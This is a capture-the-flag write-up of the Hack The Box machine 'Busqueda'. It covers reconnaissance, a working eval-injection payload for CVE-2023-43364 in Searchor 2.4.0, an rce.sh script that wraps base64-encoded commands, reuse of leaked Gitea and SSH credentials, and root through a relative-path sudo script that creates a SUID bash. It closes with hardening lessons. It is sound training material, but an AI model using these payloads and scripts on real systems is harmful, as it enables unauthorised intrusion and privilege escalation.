root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat busqueda.md
// writeups

Busqueda

8 Apr 2023 · 20 min read
Busqueda - maquina de Hack The Box

Executive summary — Busqueda exposes a Flask application that builds search-engine URLs on top of the Searchor 2.4.0 library, vulnerable to CVE-2023-43364 (eval() injection). The unusual part — and the most instructive lesson of the box — is that the application's own code is correct: it validates the engine against a whitelist and runs the subprocess with an argument list, without shell=True. The flaw isn't in that code; it's in the dependency declared in requirements.txt, invisible to any review of the application's own source. From there, a .git/ mistakenly deployed to production and three separate password reuses chain the access all the way to a sudo script that invokes another script through a relative path — the one thing sudo never sanitizes is the working directory.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.228.217

Attack map

[80] searcher.htb — Flask "Searcher" app, builds search-engine URLs
   │  the footer declares the dependency: Searchor 2.4.0
   ▼
[RCE]  CVE-2023-43364 — Searchor interpolates the query into an f-string, then eval()s it
   │  the app's own code is correct (subprocess with an argument list, no shell=True);
   │  the flaw lives one layer down, in the dependency
   ▼
[RCE]  svc  (unauthenticated command execution, via an HTTP return channel)
   │  /var/www/app/.git/config (mistakenly deployed) leaks Gitea credentials:
   │  cody:jh1usoih2bkjaspwe92 — the same password works for system SSH
   ▼
[SSH]  svc  (user.txt)
   │  sudo (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
   │  unrestricted docker-inspect leaks the Gitea DB password, reused as the Gitea
   │  admin password -> source code confirms a relative path: system-checkup.py
   │  invokes './full-checkup.sh'
   ▼
[ROOT]  attacker-controlled CWD + relative path -> our own full-checkup.sh runs
        as root (root.txt)

1. Reconnaissance

nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.228.217
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Not shown: 65290 closed tcp ports (reset), 243 filtered tcp ports (no-response)

The 243 "filtered" ports are an artifact of the aggressive --min-rate (nmap warns it hit the retransmission cap), not a selective firewall. Real surface: two ports, and the vector has to be on 80.

nmap -sCV -p22,80 -Pn -oN nmap-services.txt 10.129.228.217
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux

OpenSSH 8.9p1 + Apache 2.4.52 pins the OS to Ubuntu 22.04 LTS. More useful still: the line Did not follow redirect to http://searcher.htb/ reveals the vhost name with no fuzzing needed — Apache hands it over for free by redirecting on plain IP access. That cheap check is worth running before firing thousands of ffuf requests.

With no sudo password on the attacking box to edit /etc/hosts, resolution was handled with curl --resolve, which injects the resolution at the request level without touching the system:

#!/bin/bash
# c.sh — curl against searcher.htb without touching /etc/hosts
exec curl -s --resolve searcher.htb:80:10.129.228.217 "$@"

The app (./c.sh http://searcher.htb/) looks harmless: a POST /search form with three parameters (engine, query, auto_redirect) that builds the chosen engine's search URL. The decisive finding comes from reading the full HTML, not just the visible part — the footer voluntarily declares its main dependency:

<p class="copyright">Powered by
  <a href="https://flask.palletsprojects.com">Flask</a> and
  <a href="https://github.com/ArjunSharda/Searchor">Searchor 2.4.0</a></p>

No need to guess the stack or infer it from behavior: the app states outright which library processes user input, and which version. And Searchor 2.4.0 has a known, critical vulnerability: CVE-2023-43364.

2. Initial exploitation — CVE-2023-43364 (RCE as svc)

Searchor's CLI needs to dynamically resolve the engine chosen by the user against an Engine enum. Instead of getattr(Engine, engine) — the correct way to fetch an attribute by name at runtime — it builds a Python code string and executes it: eval(f"Engine.{engine}.search('{query}', ...)"). The user's query is interpolated inside a string literal that is then interpreted as code: a single quote is enough to close the string and write arbitrary Python expressions.

The application's own code, obtained later, is by contrast irreproachable:

if engine in Engine.__members__.keys():          # whitelist validation
    arg_list = ['searchor', 'search', engine, query]
    r = subprocess.run(arg_list, capture_output=True)   # argument list, no shell=True

Whitelist, subprocess.run with an argument list, no shell=True and no eval/os.system of its own: no review of the application code would have caught this, because it isn't there. The invoked searchor process receives query as a clean argv argument — but that same binary feeds the argument into an internal eval(). A textbook argument for treating software composition analysis (SCA) as a discipline distinct from code review.

A non-destructive proof of concept: if the query is evaluated as Python, an arithmetic expression should resolve before being embedded in the output URL.

./c.sh -X POST http://searcher.htb/search \
  --data-urlencode "engine=Google" \
  --data-urlencode "query='+str(7*7)+'"
https://www.google.com/search?q=49

Sending '+str(7*7)+' returns 49: the string never appears literally — it was evaluated. With Python execution confirmed, the jump to system commands is direct via os.popen(), whose output gets concatenated into the response URL itself — a return channel with no reverse shell required:

./c.sh -X POST http://searcher.htb/search \
  --data-urlencode "engine=Google" \
  --data-urlencode "query='+__import__(\"os\").popen(\"id; hostname\").read()+'"
uid=1000(svc) gid=1000(svc) groups=1000(svc)
busqueda

To avoid quotes or metacharacters breaking the payload syntax on longer commands, the command is base64-encoded on the attacker side and decoded on the target before execution:

#!/bin/bash
# rce.sh — Usage: ./rce.sh 'id; uname -a'
CMD="$1"
PY="'+__import__(\"os\").popen(__import__(\"base64\").b64decode(\"$(printf '%s' \"$CMD\" | base64 -w0)\").decode()).read()+'"
curl -s --resolve searcher.htb:80:10.129.228.217 -X POST http://searcher.htb/search \
  --data-urlencode "engine=Google" --data-urlencode "query=$PY" \
  | grep -oP 'search\?q=\K.*' \
  | python3 -c 'import sys,urllib.parse;print(urllib.parse.unquote_plus(sys.stdin.read()))'

base64 -w0 avoids the line breaks base64 inserts every 76 characters; printf '%s' (instead of echo) avoids appending a trailing newline to the encoded command; and unquote_plus decodes both URL-encoding and the query-string convention of + as space.

3. Post-exploitation: credentials in the Git repository

An unusual and fortunate detail: the web app doesn't run as www-data, but as svc, the system's only unprivileged user and owner of /home/svc. The RCE lands directly in the target user's context, with no lateral movement needed:

./rce.sh 'cat /home/svc/user.txt'

user.txt: 54df8778239d543d312de3c9b837935a

Running the app under a nominal user account instead of a dedicated service account is a hardening failure in its own right: it turns any application RCE into a full compromise of that account — its files, its history, and, as it turns out, its sudo context.

The deployment directory contains something that should never reach production: a full .git/, with its history and remote configuration.

./rce.sh 'ls -la /var/www/app/; cat /var/www/app/.git/config'
drwxr-xr-x 8 www-data www-data 4096 Aug  8 15:24 .git

[remote "origin"]
        url= http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

The URL follows the http://user:password@host/path format: it's generated automatically when someone clones a private repository with credentials in the command line, and Git saves that full URL — plaintext password included — into .git/config. A very common, rarely intentional operational mistake. It also surfaces a second vhost not identified during external recon: gitea.searcher.htb, an internal Git server.

4. Consolidating access: SSH as svc

cody's password is, in theory, only for Gitea. Trying it against system SSH, with the svc user already known to exist, is the obvious next move:

sshpass -p 'jh1usoih2bkjaspwe92' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@10.129.228.217 'id'
uid=1000(svc) gid=1000(svc) groups=1000(svc)

Commands were already running as svc via the web RCE, so the SSH session adds no new privileges — but it does add a real TTY, and that turns out to be decisive in the next stage: sudo requires a terminal to read the password (sudo: a terminal is required to read the password), which an HTTP webshell can never provide. Without this "redundant" credential, the entire privilege escalation path — which runs through sudo — would have been closed off.

5. Sudo privilege analysis and the intended discovery path

echo 'jh1usoih2bkjaspwe92' | sudo -S -l
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

No NOPASSWD (hence the need for the SSH session), with absolute paths for both interpreter and script (not swappable), and with secure_path/env_reset/use_pty sanitizing $PATH, environment variables and the TTY. The only attack surface left is whatever replaces the wildcard *. Files under /opt/scripts/ are executable but not readable (rwx--x--x), forcing a black-box, behavior-based analysis.

With no arguments sudo refuses execution; with any argument, the script prints its usage: three actions — docker-ps, docker-inspect, full-checkup. docker-ps reveals two containers (Gitea and MySQL 8) published only on 127.0.0.1. But full-checkup is where the anomaly shows up: run from /home/svc it fails ("Something went wrong"), and run from /opt/scripts it works.

The same command, with the same arguments, run as the same user, produces different results depending on the directory it's launched from. The only thing that changed is the current working directory (CWD) — the only explanation is that the script invokes something through a relative path. And the name of the resource is all but confirmed by the /opt/scripts listing: a full-checkup.sh file exists there. Hypothesis: the script runs ./full-checkup.sh, and controlling the CWD controls which file runs under that name — as root.

Before exploiting, the intended discovery path is documented: the docker-inspect action accepts a Go template format and a container name with no restriction whatsoever on which fields can be queried — including environment variables, where Docker routinely stores initialization passwords.

echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 \
  /opt/scripts/system-checkup.py docker-inspect "{{json .Config.Env}}" gitea
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"

That password doesn't work for the system's root (a negative check worth recording — it rules out that shortcut), but it does work for the administrator account of the Gitea web UI — the third instance of password reuse on this box (cody=svc, and now Gitea DB=Gitea admin). With an admin session, the private repository holding the sudo scripts' code becomes readable:

./g.sh "http://gitea.searcher.htb/administrator/scripts/raw/branch/main/system-checkup.py"
elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']        # ← THE VULNERABILITY
        print(run_command(arg_list))

Hypothesis confirmed to the letter. The leading ./ makes the path resolve relative to the process's working directory, not to the directory where the script lives — and sudo preserves the invoker's CWD. That directory is the attacker's to choose.

6. Escalating to root: relative path

sudo resets $PATH, environment variables and the terminal, but never changes the working directory: the root process inherits the CWD of whoever invoked it. Combined with the relative path, exploitation is direct — create a controlled directory, drop a custom full-checkup.sh in it, and fire the authorized sudo command from there:

mkdir -p /tmp/pwn && cd /tmp/pwn

cat > full-checkup.sh <<'EOS'
#!/bin/bash
cp /bin/bash /tmp/pwn/rootbash
chmod 4755 /tmp/pwn/rootbash
EOS
chmod +x full-checkup.sh

echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 \
  /opt/scripts/system-checkup.py full-checkup >/dev/null 2>&1

ls -la /tmp/pwn/rootbash
/tmp/pwn/rootbash -p -c 'id; cat /root/root.txt'
-rwsr-xr-x 1 root root 1396520 Aug  8 15:41 /tmp/pwn/rootbash
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
06f97c0ad8e2def409397195aee82182

chmod +x is required because subprocess.run(['./full-checkup.sh']) executes the file directly, with no intermediate shell. The SUID copy of bash (chmod 4755) gives repeatable root access; /tmp/pwn/rootbash -p is critical because bash normally drops elevated privileges on startup as an anti-SUID-shell protection — -p preserves the inherited euid. In the id output, the decisive detail is euid=0(root): the real uid is still svc, but the effective one — the one the kernel checks for access control — is root.

root.txt: 06f97c0ad8e2def409397195aee82182

Worth closing the loop. The sudo configuration was reasonably solid — absolute paths for interpreter and script, secure_path, env_reset, use_pty, no NOPASSWD: six controls, all six effective at what they were meant to block. And still, root — because none of them cover the working directory. sudo has no option at all to pin the command's CWD. The surface that stayed open wasn't a weakness in the sudo configuration; it was a single line in the authorized script: arg_list = ['./full-checkup.sh'] instead of an absolute path. When sudo is granted over a script you own, that script becomes part of the privilege boundary and must be audited with the same rigor as a SUID binary.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdSearchor 2.4.0 (Flask app dependency)CVE-2023-43364 — eval() injection via the query parameterUnauthenticated RCE as svc
Post-exploitation.git/config deployed to productionPlaintext Gitea credentials (cody), reused as the system SSH passwordInteractive SSH session with a TTY (user.txt)
Discoverysystem-checkup.py docker-inspect (sudo)Unrestricted docker inspect format — leaks the Gitea DB password, reused as the Gitea admin passwordAdmin access to Gitea → source code of the sudo script
PrivEsc/opt/scripts/system-checkup.py (sudo, no NOPASSWD)Invokes ./full-checkup.sh via a relative path; sudo never sanitizes the CWDRoot via script substitution + SUID bash (root.txt)

Lessons learned

  • A remote code execution flaw can live entirely inside a third-party dependency and stay invisible to any review, however rigorous, of the application's own code. It's the textbook argument for software composition analysis (SCA) and an SBOM as a discipline distinct from code review, not a substitute for it.
  • A .git/ directory should never reach a directory served in production: besides the source code, it exposes its full history and any credential ever included in a remote URL (http://user:password@host/...), even one "fixed" in a later commit.
  • Reusing passwords across distinct services turns isolated bugs into a full chain — on this box it happened three times independently. Every credential found is worth testing against every available authentication surface.
  • A sudo script that invokes another file by relative path (./full-checkup.sh instead of an absolute path) is exploitable just by controlling the working directory — something secure_path, env_reset and use_pty do nothing to cover, because sudo never sanitizes the CWD. A script you own with sudo privileges is part of the privilege boundary and must be audited like a SUID binary.